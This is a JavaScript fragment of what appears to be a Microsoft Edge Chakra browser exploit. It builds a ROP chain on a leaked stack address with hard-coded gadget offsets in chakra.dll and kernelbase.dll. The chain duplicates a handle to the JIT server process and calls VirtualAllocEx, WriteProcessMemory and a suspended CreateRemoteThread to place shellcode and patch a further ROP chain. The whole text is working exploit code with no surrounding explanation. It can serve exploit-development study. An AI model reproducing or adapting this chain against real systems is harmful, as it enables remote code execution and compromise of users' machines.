// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hSourceProcessHandle (RCX)
// Handle to the JIT process from the content process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
next();

// Call KERNELBASE!DuplicateHandle
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

// VirtuaAllocEx() ROP chain
// Stage 2 -> Allocate memory in the Edge JIT process (we have a full handle there now)

// DWORD flAllocationType (R9)
// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)
/*
0:031> ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// SIZE_T dwSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // 0x1000 (shellcode size)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPVOID lpAddress (RDX)
// Let VirtualAllocEx decide where the memory will be located
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     				   // Recall RAX already has a writable pointer in it

// Call KERNELBASE!VirtualAllocEx
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xff00, kernelbaseHigh); // KERNELBASE!VirtualAllocEx address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain
// Stage 3 -> Write our shellcode into the JIT process

// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)

/*
0:015> dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where we will store VirtualAllocEx allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // SIZE_T nSize (0x1000)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     // Recall RAX already has a writable pointer in it

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000-0x8, kernelbaseHigh); // .data section of kernelbase.dll where we have our VirtualAllocEx allocation
next();                                                                            // (-0x8 to compensate for below where we have to read from the address at +0x8 offset
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);      // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000, chakraHigh);    	  // .data section of chakra.dll holding our shellcode
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// CreateRemoteThread() ROP chain
// Stage 4 -> Create a thread within the JIT process, but create it suspended
// This will allow the thread to _not_ execute until we are ready
// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later
// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain
// We will update the thread later via another ROP chain to call SetThreadContext()

// LPTHREAD_START_ROUTINE lpStartAddress (R9)
// This can be any random data, since it will never be executed
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // 0x180043c63: Anything we want - this will never get executed
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();

// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (default security properties)
next();

// SIZE_T dwStackSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // 0 (default stack size)
next();

// Call KERNELBASE!CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xdcfd0, kernelbaseHigh); // KERNELBASE!CreateRemoteThread
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPVOID lpParameter (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPDWORD lpThreadId (RSP+0x38)
next();

// WriteProcessMemory() ROP chain (Number 2)
// Stage 5 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress

// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where we will store the thread HANDLE
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetOne, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain (Number 3)
// Stage 6 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetTwo, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
